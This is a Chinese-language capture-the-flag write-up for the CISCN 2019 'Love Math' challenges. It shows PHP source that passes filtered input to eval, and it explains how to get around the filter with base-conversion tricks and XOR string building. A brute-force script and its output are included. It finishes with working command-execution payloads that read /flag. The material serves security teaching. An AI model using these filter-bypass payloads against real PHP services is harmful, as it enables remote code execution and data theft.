Love Math1
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
知识点:
1.动态函数;
什么是动态函数;举例:
$a = "system"
然后
$a("whoami") = system("whoami")
2.进制转换函数;
hex2bin() 函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
base_convert()函数能够在任意进制之间转换数字。比如可以将10进制转化为36进制;为什么是36进制呢?36进制代表数字0-9和小写字母a-z;这里可以利用它来转化得到其他数字或者小写字组成的函数比如hex2bin();
dechex()将10进制转化为16进制;
上面是知识点了;开始利用解决这道题;
我们最终需要构造出;
system(cat /flag)
这个命令;为什么是这个呢?最后的eval万能函数,把这个名令传入进去就会得到
eval(system(cat /flag)) ;
直接输入是肯定不行的;
那么就可以使用动态函数来链接它;
$_GET['a']($_GET['b'])&a=system&b=cat /flag
但是白名单里面只能有那几个函数;
那么就需要使用那些函数来构造出_GET ;
首先想到用hex2bin();
16进制转化为字符串;
_GET的16进制是5f474554
但是这里有一个问题,有函数过滤掉16进制;那么就用dechex将10进制转化为16进制,5f474554的10进制是1598506324
所以现在就有hex2bin(dechex(1598506324))=_GET
但是hex2bin又不在白名单中;所以我们采用base_convert() 10进制转化为36进制构造hex2bin
hex2bin 的10进制为37907361743
所以base_convert(37907361743,10,36) = hex2bin
一套操作下来就有:
base_convert(37907361743,10,36)(dechex(1598506324)) = _GET
最后payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{exp})&abs=system&exp=cat /flag
详细参考:CTF -- [CISCN 2019 初赛]Love Math 1(php杂项)_Gh0st_1n_The_shell的博客-CSDN博客
Love Math 2
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这个比1少了转换字符的函数;那么就上终极大招:当然也可以直接用这个方法做第一题;
知识点:
PHP异或得到想要的字符串;很多的preg_match会过滤掉".",所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。
脚本:
<?php
//$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$payload =['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
if ($exp=='_G'||$exp=='_'||$exp=='_GE'||$exp=='_GET'||$exp=='E'||$exp=='ET'||$exp=='T'){
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}
//echo($payload[$k]."^$i$j"."==>$exp");
//echo "\n";
}
}
}
这个方法适用于第一题;看看运行结果:
is_finite^64==>_G
is_infinite^64==>_G
is_nan^64==>_G
mt_getrandmax^23==>_G
mt_rand^23==>_G
mt_srand^23==>_G
rad2deg^75==>ET
rand^75==>ET
tan^15==>ET
tanh^15==>ET
^00==>0
就可以利用这些来构造_GET ;
构造是需要注意,用 ‘ . ’来连接;
$pi=(mt_rand^(2).(3)).(tan^(1).(5));
//mt_rand^(2).(3)——>mt_rand^23==>_G
tan^(1).(5)——>tan^15==>ET
(_G).(ET)——>_GET
所以直接构造:
?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));$$pi{1}($$pi{2})&1=system&2=cat /flag